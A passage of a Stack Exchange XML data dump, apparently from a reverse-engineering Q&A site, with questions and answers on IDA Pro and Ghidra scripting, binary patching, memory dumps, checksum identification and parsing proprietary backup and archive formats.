forward?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;(Note: Hex Fiend displays &lt;code&gt;000.pbzx&lt;/code&gt; because I did actually name the files with the &lt;code&gt;.pbzx&lt;/code&gt; extension even though that naming was incorrect and had modified it to &lt;code&gt;.unpbzx&lt;/code&gt; for clarity in this question)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="33705" LastEditorUserId="33705" LastEditDate="2020-06-29T11:53:00.993" LastActivityDate="2021-09-07T04:35:57.280" Title="Attempting to reverse engineer an iOS OTA payload-like archival format" Tags="|file-format|ios|osx|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25421" PostTypeId="1" CreationDate="2020-06-29T12:18:15.160" Score="1" ViewCount="172" Body="&lt;p&gt;I want to fix a .plt segment in IDA Pro by replacing 12 bytes from start of every function in the .plt segment with the ones I specify.&lt;/p&gt;&#xA;&lt;p&gt;I want to just make each function return so I'm replacing opcodes to do this, but doing this by hand is a painful job. My fingers and palm hurt after I modified a single library, so I need a way to do that with IDA Python.&lt;/p&gt;&#xA;&lt;p&gt;It's an ARM 32 shared library, I know it doesn't matter here but specified for goodness sake.&lt;/p&gt;&#xA;&lt;p&gt;This is the hex I'm replacing in every function:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;00 00 a0 e1 00 00 a0 e3 1e ff 2f e1&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is what this hex is all about:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    movs r0, r0&#xA;    movs r0, #0&#xA;    bx lr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33709" LastEditorUserId="2959" LastEditDate="2020-06-29T17:27:09.337" LastActivityDate="2020-06-29T17:27:09.337" Title="Replacing bytes from start of every function with IDA Pro" Tags="|ida|linux|idapython|arm|patch-reversing|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25422" PostTypeId="1" CreationDate="2020-06-29T16:56:20.053" Score="2" ViewCount="1339" Body="&lt;p&gt;I am currently debugging the EXT4 loader, and using the GUI and selecting the file every time is fairly annoying. The simpler solution would be to have a Headless Analyzer invocation that imports the file system image and parses it.&lt;/p&gt;&#xA;&lt;p&gt;The naive way of simply calling the Headless Analyzer with the arguments for the project location, name and &lt;code&gt;-import image.ext4&lt;/code&gt; results in the following errors:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;INFO  No load spec found for import file: &amp;lt;redacted&amp;gt;.ext4   (AutoImporter.java:215) &#xA;ERROR The AutoImporter could not successfully load &amp;lt;redacted&amp;gt;.ext4 with the provided import parameters. Please ensure that any specified processor/cspec arguments are compatible with the loader that is used during import and try again.   (HeadlessAnalyzer.java:1651) &#xA;ERROR REPORT: Import failed for file: &amp;lt;redacted&amp;gt;.ext4   (HeadlessAnalyzer.java:1688) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://ghidra.re/ghidra_docs/analyzeHeadlessREADME.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; only covers handling specific binaries, so this doesn't seem like it is supported currently.&lt;/p&gt;&#xA;&lt;p&gt;A workaround that &lt;em&gt;does not&lt;/em&gt; work for my specific use case, but might suffice for others is to mount the image and then use the &lt;code&gt;-recursive&lt;/code&gt; argument for the Headless Analyzer.&lt;/p&gt;&#xA;&lt;p&gt;A solution could be a script, which would call whatever is called after selecting a file via the &lt;code&gt;Open File System&lt;/code&gt; menu option. There doesn't seem to be one like this shipped with Ghidra yet, but maybe there is one written by the community somewhere.&lt;/p&gt;&#xA;" OwnerUserId="31435" LastActivityDate="2020-06-30T06:08:28.527" Title="How to import a file system image with Ghidra Headless Analyzer?" Tags="|firmware|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25423" PostTypeId="2" ParentId="25422" CreationDate="2020-06-29T18:11:01.977" Score="1" Body="&lt;p&gt;The solution that I found that suffices for my current issue of debugging the EXT4 parser is is the following Ghidra Script, saved as &lt;code&gt;ImportFS.java&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import ghidra.app.script.GhidraScript;&#xA;import ghidra.formats.gfilesystem.FSRL;&#xA;import ghidra.formats.gfilesystem.FileSystemRef;&#xA;import ghidra.formats.gfilesystem.FileSystemService;&#xA;&#xA;import java.io.File;&#xA;&#xA;public class ImportFS extends GhidraScript{&#xA;&#xA;        @Override&#xA;        protected void run()throws Exception{&#xA;                File filesystemImage = askFile(&amp;quot;Choose Filesystem Container&amp;quot;, &amp;quot;Select&amp;quot;);&#xA;                FSRL fsrl = FSRL.fromString(&amp;quot;file://&amp;quot; + filesystemImage.getAbsolutePath());&#xA;                FileSystemService fileSystemService = FileSystemService.getInstance();&#xA;                FileSystemRef ref = fileSystemService.probeFileForFilesystem(fsrl, monitor, null);&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And invoking the Headless Analyzer with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;analyzeHeadless /tmp temp_project -scriptPath /path/to/script/folder -readOnly -preScript ImportFS.java /path/to/file.img&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;askFile&lt;/code&gt; will not prompt for the file via a GUI when running in headless mode, so either &lt;code&gt;/path/to/file.img&lt;/code&gt; has to be provided via the argument or a property file.&lt;/p&gt;&#xA;&lt;p&gt;Further code would be needed for actually importing the file system tree after parsing, but this should be doable.&lt;/p&gt;&#xA;" OwnerUserId="31435" LastEditorUserId="31435" LastEditDate="2020-06-30T06:08:28.527" LastActivityDate="2020-06-30T06:08:28.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25424" PostTypeId="2" ParentId="25419" CreationDate="2020-06-29T19:32:17.500" Score="1" Body="&lt;p&gt;&lt;code&gt;YAA&lt;/code&gt; is possibly the signature of &lt;a href=&quot;https://wwws.nightwatchcybersecurity.com/2020/06/14/yaa-an-obscure-macos-compressed-file-format/&quot; rel=&quot;nofollow noreferrer&quot;&gt;yaa archives&lt;/a&gt;, so try using the &lt;code&gt;yaa&lt;/code&gt; utility on those files.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-29T19:32:17.500" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25426" PostTypeId="2" ParentId="8522" CreationDate="2020-07-01T06:48:13.833" Score="1" Body="&lt;p&gt;The point of the debugger is to show what actually is in memory and not what happens to be present in the database. That said, I imagine you can  come up with some script based on &lt;code&gt;visit_patched_bytes()&lt;/code&gt;, &lt;code&gt;get_original_byte()&lt;/code&gt; and &lt;code&gt;get_db_byte()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-07-01T06:48:13.833" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25427" PostTypeId="1" CreationDate="2020-07-01T07:05:53.050" Score="1" ViewCount="1430" Body="&lt;p&gt;I trying solve some &lt;a href=&quot;https://crackmes.one/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://crackmes.one/&lt;/a&gt; simple quests. I newbie on it. But after export binary file (even without any changes), when I run the program in the terminal, I get the message &amp;quot;segmentation fault&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;I use ghidra 9.1.2 in Kali Linux in VBox with 5 CPUs and 8 Gb RAM. Host: Ryzen 5 3600, 16 Gb DDR4.&lt;/p&gt;&#xA;&lt;p&gt;I have record a video with demo of reproducing this issue: &lt;a href=&quot;https://www.youtube.com/watch?v=M4RKXHRBNM8%5C&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=M4RKXHRBNM8\&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But I don't have such problems when I try solve windows &lt;code&gt;exe&lt;/code&gt; crackmes on my host Windows 10 machine.&lt;/p&gt;&#xA;&lt;p&gt;Also I note that after analysis in bookmarks appeared message with description: &lt;code&gt;Non-Returning Function Identified&lt;/code&gt; with any crackmes.&lt;/p&gt;&#xA;" OwnerUserId="18289" LastActivityDate="2020-07-02T07:41:56.480" Title="Segmentation fault after export binary file in Ghidra even without any changes" Tags="|ghidra|crackme|" AnswerCount="1" CommentCount="5" ClosedDate="2020-07-05T11:23:50.743" ContentLicense="CC BY-SA 4.0" />
  <row Id="25428" PostTypeId="1" AcceptedAnswerId="25429" CreationDate="2020-07-01T07:39:59.230" Score="1" ViewCount="3376" Body="&lt;p&gt;I'm facing a problem that i need to dump a large region of memory with IDA pro&lt;/p&gt;&#xA;&lt;p&gt;using xdbg its easily done by going to memory map tab and just dumping a region, how can i do this in IDA pro? for example dump from address x to y&lt;/p&gt;&#xA;&lt;p&gt;I tried to use a simple IDApython script but if the size is large  IDA will just crash (I'm dumping a large region while remotely debugging a windows kernel)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;filename = AskFile(1, &amp;quot;*.bin&amp;quot;, &amp;quot;Output file name&amp;quot;)&#xA;address = startAddress&#xA;size = 0xFFFFFF&#xA;dbgr = True&#xA;with open(filename, &amp;quot;wb&amp;quot;) as out:&#xA;    data = GetManyBytes(address, size, use_dbg=dbgr)&#xA;    out.write(data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28109" LastEditorUserId="28109" LastEditDate="2020-07-01T07:47:19.560" LastActivityDate="2020-07-01T17:43:50.623" Title="What is the easiest way to dump a REGION of memory in IDA pro?" Tags="|ida|idapython|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25429" PostTypeId="2" ParentId="25428" CreationDate="2020-07-01T17:43:50.623" Score="1" Body="&lt;p&gt;Without scripting:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the range:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Go to start of the area, press &lt;kbd&gt;Alt+L&lt;/kbd&gt;, go to the end&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit, Export data (or &lt;kbd&gt;Shift+E&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;pick &amp;quot;raw bytes&amp;quot; and enter filename in the Outpuf File field.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;With scripting:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;idc.savefile(filename, 0, startAddress, size)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-07-01T17:43:50.623" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25430" PostTypeId="1" AcceptedAnswerId="25432" CreationDate="2020-07-01T18:42:45.300" Score="1" ViewCount="316" Body="&lt;p&gt;I am tracking down a data structure whose address is inside the second operand:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov rcx, qword ptr ss:[rbp+E0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I look at the value of [rbp+E0] I see the following dump:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;21 C4 FC 5E 00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the pointer to the data structure but it is stored as little endian. So I cannot simply copy the address. I have to transform it by hand into:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;000000005EFCC421&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there a common and easy way to handle these situations? I am currently using x64dbg as a debugger.&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="27921" LastActivityDate="2020-07-01T21:54:41.593" Title="How can I easily convert little endian pointers in hex dumps?" Tags="|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25432" PostTypeId="2" ParentId="25430" CreationDate="2020-07-01T21:54:41.593" Score="1" Body="&lt;p&gt;Normally there should be an option “display as dwords” or similar for the memory dump&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-07-01T21:54:41.593" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25434" PostTypeId="2" ParentId="25427" CreationDate="2020-07-02T07:41:56.480" Score="2" Body="&lt;p&gt;While searching solution for my question I found related issue in GitHub repository of project: &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/19&quot; rel=&quot;nofollow noreferrer&quot;&gt;NationalSecurityAgency/ghidra#issue-19&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;According to many comments, community around ghidra are waiting for this functionality allowing patching binaries.&lt;/p&gt;&#xA;&lt;p&gt;In this comment: &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/19#issuecomment-560485351&quot; rel=&quot;nofollow noreferrer&quot;&gt;NationalSecurityAgency/ghidra/issue-19#issuecomment-560485351&lt;/a&gt; @schlafwandler offers own Python script that should solve the issue and it is works for me on Kali Linux. On Windows 10 I still did not get such problems, so I don't need to use additional tools like this.&lt;/p&gt;&#xA;&lt;p&gt;Also issue closed with link to related open PR: &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/pull/1505&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra/pull/1505&lt;/a&gt; (ElfExporter and PeExporter)&lt;/p&gt;&#xA;" OwnerUserId="18289" LastActivityDate="2020-07-02T07:41:56.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25435" PostTypeId="1" CreationDate="2020-07-02T11:16:03.207" Score="3" ViewCount="658" Body="&lt;p&gt;I'm currently trying to look into Q.U.B.E. 2's internal mechanics, so I decided to look at it using Ghidra. Q.U.B.E. 2 is built upon UnrealEngine, so it it's pretty big (~50 Mb's). However, when importing the file, Ghidra complains about a lot of missing DLLs. So I started downloading all of them manually and putting them into a directory which I specified in the import settings -&amp;gt; External Libraries, however, the missing files only get written in the &amp;quot;Additional Info&amp;quot; field of the import results.&lt;/p&gt;&#xA;&lt;p&gt;The problem here is, that the &amp;quot;Additional Info&amp;quot; ends with the following message:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;There were too many messages to display.&#xA;659 messages have been truncated.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;meaning I can't take a look at all of the missing dll's.&lt;/p&gt;&#xA;&lt;p&gt;I can't have a good look into the code without the dependencies, as Ghidra displays &lt;code&gt;No symbol&lt;/code&gt; warning's everywhere. My guess is that a big thing of Unreal Engine is still missing, as most of the missing symbols start with &lt;code&gt;U&lt;/code&gt; (&lt;code&gt;UObjectBase&lt;/code&gt;, &lt;code&gt;UWorld&lt;/code&gt;, ...)&lt;/p&gt;&#xA;&lt;p&gt;Can I somehow look at the complete import log to add the missing libraries? Or is there a faster way to supply every dependency?&lt;/p&gt;&#xA;" OwnerUserId="33731" LastActivityDate="2020-07-02T11:16:03.207" Title="Is there a way to view the complete &quot;Additional Information&quot; log of Ghidra's &quot;Import Results Summary&quot;?" Tags="|dll|ghidra|import-reconstruction|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25437" PostTypeId="1" CreationDate="2020-07-03T01:42:36.017" Score="2" ViewCount="271" Body="&lt;p&gt;While working with the GAL16V8 (an old programmable logic device), I found out that the Programmers Electronic Signature (PES) of each GAL &lt;a href=&quot;http://www.armory.com/%7Erstevew/Public/Pgmrs/GAL/algo.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;has a checksum byte&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've read the PES of some GALs but was unable find out the kind of checksum used. In the sequences below, the last byte is supposed to be the checksum.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00 03 1A A1 00 00 00 30&#xA;00 05 50 A1 CD A6 03 06&#xA;00 05 1A A1 CD A4 03 06&#xA;00 02 1A 8F 00 00 00 15&#xA;00 02 1A 81 00 00 00 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How do I identify the checksum method used?&lt;/p&gt;&#xA;" OwnerUserId="33737" LastEditorUserId="33705" LastEditDate="2020-07-03T22:56:14.660" LastActivityDate="2020-07-05T12:15:20.053" Title="crc - reverse engineering GAL16V8 checksum method" Tags="|firmware|hardware|crc|cryptography|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25438" PostTypeId="1" CreationDate="2020-07-03T17:40:51.007" Score="3" ViewCount="892" Body="&lt;p&gt;I am trying to port Enrique Nissim's script from his presentation &amp;quot;Reverse Engineering and Bug Hunting on KMDF Drivers&amp;quot; to IDA 7.4. His original script can be found at:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/IOActive/kmdf_re/tree/master/code&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/IOActive/kmdf_re/tree/master/code&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;My somewhat updated version can be found at:&#xA;&lt;a href=&quot;https://github.com/MrSynAckSter/kmdf_re/blob/master/code/kmdf_re.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/MrSynAckSter/kmdf_re/blob/master/code/kmdf_re.py&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;While I have eliminated most of the errors, I noticed that on all of the drivers I tried it on some of the constants fail to be added to the IDA database.&lt;/p&gt;&#xA;&lt;p&gt;Errors like these propagate upon running the script:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(1, '_GUID')&#xA;(2, 'GUID')&#xA;(3, 'RUNTIME_FUNCTION')&#xA;(4, 'UNWIND_INFO_HDR')&#xA;(5, 'UNWIND_CODE')&#xA;(6, '_UNICODE_STRING')&#xA;(7, 'USHORT')&#xA;(8, 'PWSTR')&#xA;(9, 'WCHAR')&#xA;(10, 'wchar_t')&#xA;(11, 'FILE')&#xA;(12, '_iobuf')&#xA;(13, '_MAJOR_FUNCTIONS')&#xA;(14, 'MAJOR_FUNCTIONS')&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchCreate=0 (0x0)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchCreateNamedPipe=1 (0x1)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchCLose=2 (0x2)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchRead=3 (0x3)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchWrite=4 (0x4)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchQueryInformation=5 (0x5)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchSetInformation=6 (0x6)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchQueryEA=7 (0x7)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchSetEA=8 (0x8)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchFlushBuffers=9 (0x9)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchQueryVolumeInformation=10 (0xA)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchSetVolumeInformation=11 (0xB)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchDirectoryControl=12 (0xC)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchFileSystemControl=13 (0xD)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchDeviceIOControl=14 (0xE)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchInternalDeviceControl=15 (0xF)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchShutdown=16 (0x10)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchLockControl=17 (0x11)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchCleanup=18 (0x12)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchCreateMailslot=19 (0x13)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchQuerySecurity=20 (0x14)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchSetSecurity=21 (0x15)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchPower=22 (0x16)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchSystemControl=23 (0x17)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchDeviceChange=24 (0x18)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchQueryQuota=25 (0x19)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchSetQuota=26 (0x1A)&#xA;MAJOR_FUNCTIONS: failed to add constant DispatchPNP=27 (0x1B)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have narrowed their origin to this bit of the script at line 439:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def load_kmdf_types_into_idb():&#xA;    header_path = idautils.GetIdbDir()&#xA;    idaapi.idc_parse_types(&amp;quot;&amp;quot;.join([header_path, &amp;quot;WDFStructs.h&amp;quot;]), idc.PT_FILE)&#xA;    for idx in range(1, idc.get_ordinal_qty&#xA;&#xA;&#xA;()):&#xA;        #Fails to add some of the types&#xA;        print((idx, idc.get_numbered_type_name(idx)))&#xA;        idc.import_type(idx, idc.get_numbered_type_name(idx))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However the IDA documentation doesn't help much in terms of deciphering the &amp;quot;failed to add constant&amp;quot; errors.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_typeinf-module.html#import_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_typeinf-module.html#import_type&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import_type(til, idx, name, flags=0)&#xA; &#xA;Copy a named type from til to idb.&#xA;&#xA;Parameters:&#xA;til - type library (C++: const til_t *)&#xA;idx - the position of the new type in the list of types (structures or enums). -1 means at the end of the list (C++: int)&#xA;name - the type name (C++: const char *)&#xA;flags - combination of Import type flags (C++: int)&#xA;Returns: tid_t&#xA;BADNODE on error&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The big question for me is &lt;strong&gt;why is this type import failing&lt;/strong&gt;? Is it because the types already exist, or is there some subtle syntax error here? Is the flag parameter here mandatory? The error and documentation make is very difficult to tell exactly what's going on here.&lt;/p&gt;&#xA;&lt;p&gt;The reason why I care is I believe that the failing imports are contributing to the driver failing to find IoControlls, driver major functions, and other important structures for reverse engineering KMDF drivers.&lt;/p&gt;&#xA;&lt;p&gt;Here are my main theories for why this is happening:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Somehow the behavior of import_type doesn't exactly work closely enough to the original Til2Idb method that was in the original script.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The types are somehow are already in the database in some conflicting way due to flirt signatures or something. I tried looking for them manually, but I don't see them being added on any of the drivers I have tried with the script.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This is IDA telling me that the constants cant be added because they don't exist in the database and the script is functioning more or less as intended. If this is cases I wish the IDA docs would give me some indication of this behavior.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I hope this makes the question clear guys. I hope you can help!&lt;/p&gt;&#xA;&lt;p&gt;Update: As an added wrinkle, when I manually import the header file this is parsing IDA doesn't generate any errors.&lt;/p&gt;&#xA;" OwnerUserId="2149" LastEditorUserId="2149" LastEditDate="2020-07-05T18:33:20.570" LastActivityDate="2020-07-05T18:33:20.570" Title="Why does IDA Pro fail to add these constants?" Tags="|ida|driver|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25439" PostTypeId="2" ParentId="25408" CreationDate="2020-07-03T17:45:38.217" Score="1" Body="&lt;p&gt;as I understand your question, if your binary doesn't have a packer / protector, and you can't use any way to hook the original source, try using a kernel hooke like TitanHide, and observe the behavior, now if not having anything so complicated check the sides of your debugger look for flags and find the &amp;quot;zero flag&amp;quot;, and change your return, this is something simple, but if you specify better I can give you another answer, good luck.&lt;/p&gt;&#xA;" OwnerUserId="33530" LastActivityDate="2020-07-03T17:45:38.217" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25441" PostTypeId="1" CreationDate="2020-07-04T19:25:54.863" Score="0" ViewCount="884" Body="&lt;p&gt;I have thousands of old backup files from EaseUs Todo Backup. They are incremental backups saved inside a &amp;quot;.pbd&amp;quot; file (EaseUs's proprietary backup format). I've tried to get my files out using their official tools, but they dont work due to the amount of files I have. I want to write my own program to take these files out and extract them to a more common format like .zip.&lt;/p&gt;&#xA;&lt;p&gt;I figure I'd start by using their software to backup a simple text file (with contents &amp;quot;hello world&amp;quot;), then change that text file to &amp;quot;hello world123&amp;quot; and run another incremental backup. This way I can compare the two initial files to see where the file names/contents are stored within the binary.&lt;/p&gt;&#xA;&lt;p&gt;Here are the two test files: &lt;a href=&quot;https://dl.dropboxusercontent.com/s/6fhqrkodz68vgv0/backups.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.dropboxusercontent.com/s/6fhqrkodz68vgv0/backups.zip&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Screenshot of files: &lt;a href=&quot;https://dl.dropboxusercontent.com/s/a4pui0hugym10xq/explorer_sWDcZaogNa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.dropboxusercontent.com/s/a4pui0hugym10xq/explorer_sWDcZaogNa.png&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When I compare the two files in a hex editor, I can't seem to find where the names/contents are, and how I can parse these files in software. This is the first time I've reverse engineered anything native (I've decompiled java/c# a bunch) so any tips/advice are appreciated.&lt;/p&gt;&#xA;" OwnerUserId="33745" LastActivityDate="2020-07-05T13:27:26.777" Title="Reverse Engineer Unknown File Format" Tags="|file-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25442" PostTypeId="2" ParentId="25438" CreationDate="2020-07-04T21:49:50.447" Score="1" Body="&lt;p&gt;IDA does not allow conflicting names anywhere in the database(including enum members).&lt;/p&gt;&#xA;&lt;p&gt;Most likely both &lt;code&gt;_MAJOR_FUNCTIONS&lt;/code&gt; and &lt;code&gt;MAJOR_FUNCTIONS&lt;/code&gt; have the same set of members, so the first one wins.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-07-04T21:49:50.447" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25443" PostTypeId="2" ParentId="25437" CreationDate="2020-07-05T12:15:20.053" Score="1" Body="&lt;p&gt;If you can't find documentation indicating the checksum algorithm, you could try reversing the software that reads or writes the checksum. I'm not familiar with GAL, but from the site you linked, there are references to programming software [1] which should be writing the checksum or verifying it before programming the chip.&lt;/p&gt;&#xA;&lt;p&gt;[1] &lt;a href=&quot;http://www.armory.com/%7Erstevew/Public/Pgmrs/GAL/intro.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.armory.com/~rstevew/Public/Pgmrs/GAL/intro.htm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33700" LastActivityDate="2020-07-05T12:15:20.053" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25444" PostTypeId="2" ParentId="25441" CreationDate="2020-07-05T13:27:26.777" Score="1" Body="&lt;p&gt;Sending the files through &lt;code&gt;binwalk&lt;/code&gt; reveals a bunch of zlib-compressed chunks:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Scan Time:     2020-07-05 14:11:21&#xA;Target File:   my folder_20200704_Full_v1.pbd&#xA;MD5 Checksum:  754146f25634e3eb90ee85ba8e2dc766&#xA;Signatures:    391&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;152           0x98            Zlib compressed data, compressed&#xA;271           0x10F           Zlib compressed data, compressed&#xA;2856          0xB28           Zlib compressed data, compressed&#xA;2988          0xBAC           Zlib compressed data, compressed&#xA;&#xA;&#xA;Scan Time:     2020-07-05 14:11:21&#xA;Target File:   my folder_20200704_Full_v2.pbd&#xA;MD5 Checksum:  f443635bfaf4203ba0ad40adc6ae1d1f&#xA;Signatures:    391&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;152           0x98            Zlib compressed data, compressed&#xA;271           0x10F           Zlib compressed data, compressed&#xA;2859          0xB2B           Zlib compressed data, compressed&#xA;2996          0xBB4           Zlib compressed data, compressed&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;From there I was able to slice out each chunk and decompress it using &lt;code&gt;dd&lt;/code&gt; and &lt;code&gt;zlib-flate&lt;/code&gt;: &lt;code&gt;zlib-flate -uncompress &amp;lt; &amp;lt;(dd skip=271 ibs=1 if=my\ folder_20200704_Full_v1.pbd) &amp;gt; chunk2&lt;/code&gt;. I can see the folder name in the first two chunks, and the last chunk reveals the file name &lt;code&gt;yo.txt&lt;/code&gt;, but I can't see the file contents anywhere. Additionally, &lt;code&gt;binwalk&lt;/code&gt; is unable to detect anything in the decompressed chunks. Hopefully this gets you a bit further along. :)&lt;/p&gt;&#xA;" OwnerUserId="33700" LastActivityDate="2020-07-05T13:27:26.777" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
